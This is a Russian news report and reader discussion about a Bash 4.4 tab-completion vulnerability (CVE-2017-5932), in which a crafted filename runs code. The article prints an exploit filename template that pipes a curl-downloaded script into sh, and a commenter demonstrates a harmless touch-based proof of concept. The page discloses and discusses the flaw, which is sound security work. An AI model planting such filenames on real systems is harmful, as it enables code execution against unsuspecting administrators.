В командном интерпретаторе Bash выявлена уязвимость (http://openwall.com/lists/oss-security/2017/02/07/9) (CVE-2017-5932 (https://security-tracker.debian.org/tracker/CVE-2017-5932)), которая может быть использована (https://github.com/jheyens/bash_completion_vuln/blob/master/...) для выполнения своего кода при выполнении операций автодополнения ввода клавишей табуляция. Проблема затрагивает ветку Bash 4.4. Исправление пока доступно только в виде патча (http://git.savannah.gnu.org/cgit/bash.git/commit/?id=4f747ed...).Проблема вызвана ошибкой в коде экранирования спецсимволов и связана с неверной обработкой наличия разных типов кавычек. Для эксплуатации достаточно создать файл со специально оформленным именем. При попытке выполнения операции автодополнения для данного файла будут выполнены определённые злоумышленником инструкции командного интерпретаора. Например, для эксплуатации достаточно создать файл с именем:
длинная_строка "`curl ссылка_скрипт|sh`
URL: http://openwall.com/lists/oss-security/2017/02/07/9
Новость: https://www.opennet.ru/opennews/art.shtml?num=45997
А в чём практический смысл? Если я уже нахожусь на сервере и могу пользоваться кнопкой tab, то что мешает мне просто запустить скрипт без автодополнения?
Можно оставить такой файл в системе и надеяться, что администратор под рутом нажмёт на таб.
Администратор под рутом не должен запускать скрипты, которые можно было редактировать обычным пользователем.
так он не узнает что запустил скрипт))
> А в чём практический смысл?Спросите дистрибутивы, где раздают беспарольное sudo, например.
> дистрибутивы, где раздают беспарольное sudo, например.Например PuppyLinux
Он как бы специализированный. И кстати в режиме LiveUSB в Ubuntu есть sudo, тоже беспарольный.
традиционный опеннет - читать по-английски люди не умеют, но новость ляпнуть норовят.А теперь что на самом деле: когда bash делает tab-expansion - он неверно расставляет кавычки и экранирующие слэши в сложных случаях. enter нажимать, чтобы выполнить код - тебе, дорогой анон, придется самому, от простого нажатия tab ничего интересного в твоей системе не произойдет.
Ну и мораль сей басни понятная - нажав таб и обнаружив, что у тебя вылезла какая-то нёх с управляющими символами - не надо нажимать enter, никогда, ни в bash, ни в чем-то еще. find -exec или xargs -0 rm ваши лучшие друзья.
Знатно ты в лужу газанул.$ ls
'"`touch HereBeDragons`'
$ ./\"\`touch\ HereBeDragons\`/^C
$ ls
HereBeDragons '"`touch HereBeDragons`'
$ echo $BASH_VERSION
4.4.0(1)-release
... что, впрочем, не отменяет необходимости читать оригинал.
> от простого нажатия tab ничего интересного в твоей системе не произойдет."We can create a file with a specially crafted file name. A
user trying to use bash' path completion feature ('TAB-completion') on
this file will execute shell code without any additional actions taken."
> this file will execute shell code without any additional actions taken."кто-то может подтвердить? (нету у меня новых-модных систем, свежайший bash из доступных - 4.1 )
Если у них tab completion _исполняет_код_ до нажатия enter (и неважно, сам я его набрал или подсунули через баг с кавычками), чиста чтоб посмотреть нельзя ли потом еще что-то дописать в конец строки - это какой-то феерический п-ц, не надо мне ТАКОГО автодополнения. То есть это вообще не ошибка, это design flaw.
Из приведенных в pdf'е кусков кода и коммита b25f9dcb9e3 это, мягко говоря, неочевидно.
Вон выше есть код для проверки. Собрал bash и проверил, работает как описано.
> Вон выше есть код для проверки. Собрал bash и проверил, работает как описано.а руками набранный? cd "/`touch /dev/shm/delme`<tab> ?
(не собирать же мне это уродство ради проверки... тем более, что если подтвердится - вообще низачем не надо его собирать, его разобрать надо где собрано и думать, чем заменять)
Написано, что запускать не нужно, достаточно tab нажать."A user utilizing GNU Bash’s built-in path completion by hitting the Tab button (f.e.
to remove it with rm) triggers the exploit without executing a command itself."
Это ты не так понял, в новости всё правильно написано. Для запуска кода достаточно нажать tab, не нажимая enter.
> В командном интерпретаторе Bash выявлена уязвимость (http://openwall.com/lists/oss-security/2017/02/07/9)
> (CVE-2017-5932 (https://security-tracker.debian.org/tracker/CVE-2017-5932)), которая
> может быть использована (https://github.com/jheyens/bash_completion_vuln/blob/master/...)
> для выполнения своего кода при выполнении операций автодополнения ввода клавишей табуляция.
> Проблема затрагивает ветку Bash 4.4. Исправление пока доступно только в
> виде патча (http://git.savannah.gnu.org/cgit/bash.git/commit/?id=4f747ed...).Мда...
Ну хоть su без дырок?
> Ну хоть su без дырок?Программы без дырок? Насмешил. А если даже были бы идеальные программы в вакууме, обнаружились бы дырки в железе.
На что переходить теперь, на zsh? Чтобы поменьше решета. А то шеллшок на шеллшоке сидит в самом деле.
О, моя жена любит делать себе шеллак в салоне красоты
> На что переходить теперь, на zsh? Чтобы поменьше решета.ответ зависит от того заминусованного вопроса - cработает ли "эксплойт" не для имени файла, а для вручную набранного того же самого. Если это какая-то хитрожопая ошибка где-то именно в коде для file completion, то можно хоть на zsh, если ты можешь им пользоваться,почему же нет. Ну или просто bash откатить до пресловутого коммита, вряд ли там что-то, чем ты пользуешься каждый день.
А вот если это таки баш без объявленя войны начал исполнять бэктикнутый код только ради того чтобы увидеть, не может ли он на его конце добавить комплешн - то бежать надо уже бросая обоз. Потому что это означает полное безумие авторов, они тебе еще не один такой фокус подкинут, если не завтра, так через год.К сожалению, вряд ли у тебя получится заменить zsh'ем /bin/sh - а начинать, во втором случае, надо с этого.
Сабжевая уязвимость не в bash-completion, а именно в самом голом bash 4.4 с тупым автодополнением по filename/PATH.За что меня минусуют, что не так то? https://www.cvedetails.com/vulnerability-list/vendor_id-72/p... 2 уязвимости за 2016, одна за 2017. В то время как https://www.cvedetails.com/vulnerability-list/vendor_id-7498.... В GNU вообще слышали про юнит-тесты, всякое такое?
> В GNU вообще слышали про юнит-тесты, всякое такое?А ты слепой что ли? http://git.savannah.gnu.org/cgit/bash.git/tree/tests
> Сабжевая уязвимость не в bash-completion, а именно в самом голом bash 4.4 с тупым
> автодополнением по filename/PATH.было б оно тупое - не было б уязвимости. А оно не тупое - пытается исполнять команду до того, как ее до конца набрали, ну ахренеть, дайте две (это хорошо коли две, а не двадцать две).
> В GNU вообще слышали про юнит-тесты, всякое такое?
ну а откуда возьмется юнит-тест, если раньше такой проблемы не было? Это ж надо было догадаться о возможности ее появления. А от юниттеста на функциональность этой фичи - ни жарко, ни холодно, он-то может и есть (и выдал положительный результат, completion-то сработал ;-)
Ну и внимания zsh'у уделяется в разы меньше - так что о качестве кода, к сожалению, число cve ничего не говорит.
P.S. интересно, сколько было уязвимостей в bash-1.14.7 ? И кто может сходу назвать ситуацию, когда ему нужна версия новее.
"В альте старый баш", верещали они...
альт распологал инсайдерской информацией об этой уязвимости?
В данном разе, как понимаю, нет.
А почему в ал те баш а не какой нибудь zsh
> А почему в ал те баш а не какой нибудь zshРебят, вы смеётесь? Уж на что bash развесистый в плане фич, так zsh его обходит. Так что менять bash на zsh глупо. Уж скорее в сторону (PD)KSH надо смотреть...
>> А почему в ал те баш а не какой нибудь zsh
> Ребят, вы смеётесь? Уж на что bash развесистый в плане фич,
> так zsh его обходит. Так что менять bash на zsh глупо.
> Уж скорее в сторону (PD)KSH надо смотреть...Как многолетний пользователь zsh, майнтейнер пакета pdksh и ловец плюх в (d)ash никак не могу согласиться -- в качестве интерактивного шелла мне всё-таки оптимален именно zsh. :)
ты лучше скажи, на что менять /bin/sh ? Учитывая миллион кривых скриптов (да хоть в тех же rpm'ах) которые радостно развалятся если его заменить чем-то недостаточно похожим на bash.
Ну и отдельно - что делать со скриптами где явно #!/bin/bash - кроме как, конечно, найти и убить их авторов, но это задача не на одно столетие, они размножаются.Перейти на one true 1.14.7? Так в нем наверняка тоже дыр полно.
> ты лучше скажи, на что менять /bin/sh ?У нас это собранный по минимуму bash3 (по крайней мере доныне).
> У нас это собранный по минимуму bash3ну и вот чего в нем хорошего? Дыр в нем - было, сколько неанонсированных или вообще незамеченных и просто выброшенных вместе с кусками кода, переделанного в 4 - неведомо.
Не-ет, вниз это не наш путь.
>> У нас это собранный по минимуму bash3
> ну и вот чего в нем хорошего?Вот это.
Почему никто уничижительно не вопит про "те, кто пишет #!/bin/bash, а не #!/usr/bin/env bash" ? Что случилось с opennet-ом?
Кстати: "культура" коммитов удивительно уродская для такого проекта.
> Кстати: "культура" коммитов удивительно уродская для такого проекта.для проекта, начатого во времена sccs - неудивительно.
Так не работает же.GNU bash, version 4.4.11(1)-release (x86_64-unknown-linux-gnu)
Может потому, что в 4.4.11(1) исправили?
это вам не systemd, это хорошая, отлаженная система